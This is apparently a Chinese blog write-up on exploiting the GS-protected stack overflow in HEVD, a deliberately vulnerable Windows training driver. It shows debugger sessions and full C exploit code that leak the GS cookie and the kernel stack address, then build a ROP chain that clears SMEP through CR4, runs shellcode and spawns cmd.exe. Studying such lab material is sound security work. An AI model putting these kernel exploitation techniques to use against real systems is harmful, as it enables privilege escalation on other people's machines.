HEVD中的栈溢出加上GS保护
还有一个知识点就是windows内核栈地址泄露
函数功能

在上三篇中讲的很清楚了,这里我关闭了KVAS

又是一段经典的栈溢出,但是有了内核的GS保护
编写exploit
这里就不得不提到Windows中一种Cannary的绕过方式了,通过try except的Handler进行绕过,很遗憾handler只在32位程序中才保存在栈上
查阅资料
https://paper.seebug.org/2017/#22
https://kristal-g.github.io/2021/02/07/HEVD_StackOverflowGS_Windows_10_RS5_x64.html
cookie值是存储在_data段的第一个

函数检查的部分,有一个异或

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| 1: kd> dqs rsp ffff8788`21979540 00000000`00000000 ffff8788`21979548 ffffc186`261f98f0 ffff8788`21979550 ffffc186`269c86b0 ffff8788`21979558 00000000`80000004 ffff8788`21979560 00000000`00000000 ffff8788`21979568 fffff804`2a4d66e5 HEVD!TriggerBufferOverflowStackGS+0x5 [c:\projects\hevd\driver\hevd\bufferoverflowstackgs.c @ 70] ffff8788`21979570 00000000`00000000 ffff8788`21979578 00000000`00000003 ffff8788`21979580 54535f57`4f4c4652 ffff8788`21979588 ffffc186`1f93206c ffff8788`21979590 00000000`00000000 ffff8788`21979598 00000000`00000000 ffff8788`219795a0 00000000`00000000 ffff8788`219795a8 00000000`00000000 ffff8788`219795b0 ffff8788`219796a0 ffff8788`219795b8 00000000`00000000
1: kd> r rax rax=0000ad1068899811
1: kd> s rsp L1000 07 20 22 ffff8788`219797e8 07 20 22 00 00 00 00 00-20 0d 07 27 86 c1 ff ff . "..... ..'.... ffff8788`21979988 07 20 22 00 86 c1 ff ff-00 00 00 00 00 00 00 00 . "............. ffff8788`21979a48 07 20 22 00 ff ff ff ff-30 e8 d9 1f 07 00 00 00 . ".....0....... ffff8788`21979ab8 07 20 22 00 00 00 00 00-30 e8 d9 1f 07 00 00 00 . ".....0....... 1: kd> ? ffff8788`219797e8-rsp Evaluate expression: 680 = 00000000`000002a8
|
-
利用之前的ulGetBase得到HEVD.sys的基地址
1 2 3
| 0: kd> dqs 0xfffff80522fe0000+3000 fffff805`22fe3000 00006fd9`604347b3 fffff805`22fe3008 ffff9026`9fbcb84c
|
再下断点看看是不是为这个值
1 2 3 4 5 6
| 0: kd> g Breakpoint 0 hit HEVD!TriggerBufferOverflowStackGS+0x1b: fffff805`230666fb 4833c4 xor rax,rsp 1: kd> r rax rax=00006fd9604347b3
|
还真是,那么访问base+3000就可以得cookie值
-
如何读取?这个还真没办法,只能利用另外一个漏洞HEVD_IOCTL_ARBITRARY_WRITE,将该值修改为我们自己的值,也可以设置Ring3ToKernel中的一个地址的值为待写入的地方,然后利用这个漏洞将cookie写入
-
key值位于rsp上,利用NtQuerySystemInformation中的PSYSTEM_EXTENDED_PROCESS_INFORMATION可以得到,
但是后面又看不了了,这个时候我想了下,一个exp可以看到另外一个exp的栈地址,但是查看自身的时候已经不在上面了,或许改为线程执行可以?

就用这种方法试试看
1 2
| [+] Found Ring3ToKernel.exe Stack base 0xffffef8360dce000 Stack limit 0xffffef8360dc8000
|

偏移是一个定值,再回忆一下之前的cookie生成算法就能得cookie了
但是有个小问题,合成cookie时,rsp值变化了

考虑到push和sub所以:rsp = stack base - 0x868 - 0x258
此实,key值为:0000768c469d2a88,rsp = ffffef83619aa798,
1 2
| >>> hex(0x0000768c469d2a88^(0xffffef83619aa798-0x258)) '0xffff990f27078fc8'
|
得到cookie值为0xffff990f27078fc8

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| printf("[*] Cookie Address 0x%llx\n",cookie_addr); printf("[*] Atribute Write GET key value\n"); typedef struct _WRITE_WHAT_WHERE { funcaddr* What; funcaddr* Where; }arbitrary_write, * pArbitraryWrite; funcaddr value = 0; pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write)); payload->What = (funcaddr*)cookie_addr; payload->Where = &value; DWORD size = sizeof(payload); DWORD info = NULL; DeviceIoControl(hDevice, 0x22200B, payload, size, NULL, 0, &info, NULL); printf("[*] Key value 0x%llx\n", value);
|
-
然后就是经典常规栈溢出+ROP打法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| void StackOverflowGS(HANDLE hDevice, unsigned int ioctl) { char stackspace[0x1000] = { 0 }; DWORD oldProtect;
printf("[*] Start Exploit\n"); LPVOID shellcode_addr = VirtualAlloc(NULL, sizeof(cmd), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(shellcode_addr, cmd, sizeof(cmd));
ulGetStackLimit(L"Ring3ToKernel.exe"); funcaddr base = ulGetKernelBase((PCHAR)"ntoskrnl.exe"); funcaddr pop_rcx = base + 0x20C64C; funcaddr mov_cr4_rcx = base + 0x39eb47; funcaddr hevd_base = ulGetKernelBase((PCHAR)"HEVD.sys"); funcaddr cookie_addr = hevd_base + 0x3000;
printf("[*] Cookie Address 0x%llx\n",cookie_addr); printf("[*] Atribute Write GET key value\n"); typedef struct _WRITE_WHAT_WHERE { funcaddr* What; funcaddr* Where; }arbitrary_write, * pArbitraryWrite; funcaddr value = 0; pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write)); payload->What = (funcaddr*)cookie_addr; payload->Where = &value; DWORD size = sizeof(payload); DWORD info = NULL; DeviceIoControl(hDevice, 0x22200B, payload, size, NULL, 0, &info, NULL); printf("[*] Key value 0x%llx\n", value);
funcaddr rsp = 0; scanf_s("%llx", &rsp); rsp -= (0x868 + 0x258); printf("[*] RSP value 0x%llx\n", rsp);
rsp ^= value; printf("[*] Cookie value 0x%llx\n", rsp);
printf("[*] Start set ROP\n"); RtlFillMemory(stackspace, 0x200, 'A'); size = 0x258; *(funcaddr*)(stackspace + 0x200) = (funcaddr)rsp; *(funcaddr*)(stackspace + 0x208) = (funcaddr)rsp; *(funcaddr*)(stackspace + 0x210) = (funcaddr)rsp; *(funcaddr*)(stackspace + 0x218) = (funcaddr)rsp; *(funcaddr*)(stackspace + 0x220) = (funcaddr)rsp; *(funcaddr*)(stackspace + 0x228) = (funcaddr)rsp; *(funcaddr*)(stackspace + 0x230) = (funcaddr)rsp; *(funcaddr*)(stackspace + 0x238) = (funcaddr)pop_rcx; *(funcaddr*)(stackspace + 0x240) = (funcaddr)0x00000000002506f8; *(funcaddr*)(stackspace + 0x248) = (funcaddr)mov_cr4_rcx; *(funcaddr*)(stackspace + 0x250) = (funcaddr)shellcode_addr;
printf("[*] Spawning a new cmd.exe process\n"); system("pause"); DeviceIoControl(hDevice, ioctl, stackspace, size, NULL, 0, &info, NULL); system("cmd.exe"); }
|

微调exploit
-
shellcode得仔细调整rsp值
很简单,和最开的是栈溢出一样,直接一个push两个ret,让rsp+0x28变成了rsp+0x10
-
还有就是泄露内核栈地址的时候得稳定,让其包含当前进程
我的解决方法简单粗暴,多线程和直接加 system("pause");,重新弄好的方案都能打包成一个函数了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| unsigned long long ulUseStackInfo(wchar_t ProcName[]) { pStackInfo stackinfo = (pStackInfo)malloc(sizeof(StackInfo)); if (stackinfo == NULL) { printf("[!] Can't allocate memory\n"); return 0; } stackinfo->ModuleName = ProcName; stackinfo->result = 0; HANDLE hThread = CreateThread(NULL, 0x100, (LPTHREAD_START_ROUTINE)ulGetStackLimit, stackinfo, NULL, NULL); if (hThread == NULL) { printf("[!] Can't get thread\n"); return 0; } system("pause"); WaitForSingleObject(hThread, INFINITE); funcaddr baseaddr = stackinfo->result; CloseHandle(hThread); free(stackinfo); return baseaddr; }
|
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| void StackOverflowGS(HANDLE hDevice, unsigned int ioctl) { char stackspace[0x1000] = { 0 }; DWORD oldProtect;
printf("[*] Start Exploit\n"); LPVOID shellcode_addr = VirtualAlloc(NULL, sizeof(cmd), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(shellcode_addr, cmd, sizeof(cmd));
funcaddr stack_base = ulUseStackInfo(L"Ring3ToKernel.exe"); funcaddr base = ulGetKernelBase((PCHAR)"ntoskrnl.exe"); funcaddr pop_rcx = base + 0x20C64C; funcaddr mov_cr4_rcx = base + 0x39eb47; funcaddr hevd_base = ulGetKernelBase((PCHAR)"HEVD.sys"); funcaddr cookie_addr = hevd_base + 0x3000;
printf("[*] Cookie Address 0x%llx\n",cookie_addr); printf("[*] Atribute Write GET key value\n"); typedef struct _WRITE_WHAT_WHERE { funcaddr* What; funcaddr* Where; }arbitrary_write, * pArbitraryWrite; funcaddr value = 0; pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write)); payload->What = (funcaddr*)cookie_addr; payload->Where = &value; DWORD size = sizeof(payload); DWORD info = NULL; DeviceIoControl(hDevice, 0x22200B, payload, size, NULL, 0, &info, NULL); printf("[*] Key value 0x%llx\n", value);
funcaddr cookie = 0; stack_base -= (0x868 + 0x258); printf("[*] RSP value 0x%llx\n", stack_base);
cookie = stack_base ^ value; printf("[*] Cookie value 0x%llx\n", cookie);
printf("[*] Start set ROP\n"); RtlFillMemory(stackspace, 0x200, 'A'); size = 0x258; *(funcaddr*)(stackspace + 0x200) = (funcaddr)cookie; *(funcaddr*)(stackspace + 0x208) = (funcaddr)0x00000000; *(funcaddr*)(stackspace + 0x210) = (funcaddr)0x00000000; *(funcaddr*)(stackspace + 0x218) = (funcaddr)0x00000000; *(funcaddr*)(stackspace + 0x220) = (funcaddr)0x00000000; *(funcaddr*)(stackspace + 0x228) = (funcaddr)0x00000000; *(funcaddr*)(stackspace + 0x230) = (funcaddr)0x00000000; *(funcaddr*)(stackspace + 0x238) = (funcaddr)pop_rcx; *(funcaddr*)(stackspace + 0x240) = (funcaddr)0x00000000002506f8; *(funcaddr*)(stackspace + 0x248) = (funcaddr)mov_cr4_rcx; *(funcaddr*)(stackspace + 0x250) = (funcaddr)shellcode_addr;
printf("[*] Spawning a new cmd.exe process\n"); DeviceIoControl(hDevice, ioctl, stackspace, size, NULL, 0, &info, NULL); system("cmd.exe"); }
|
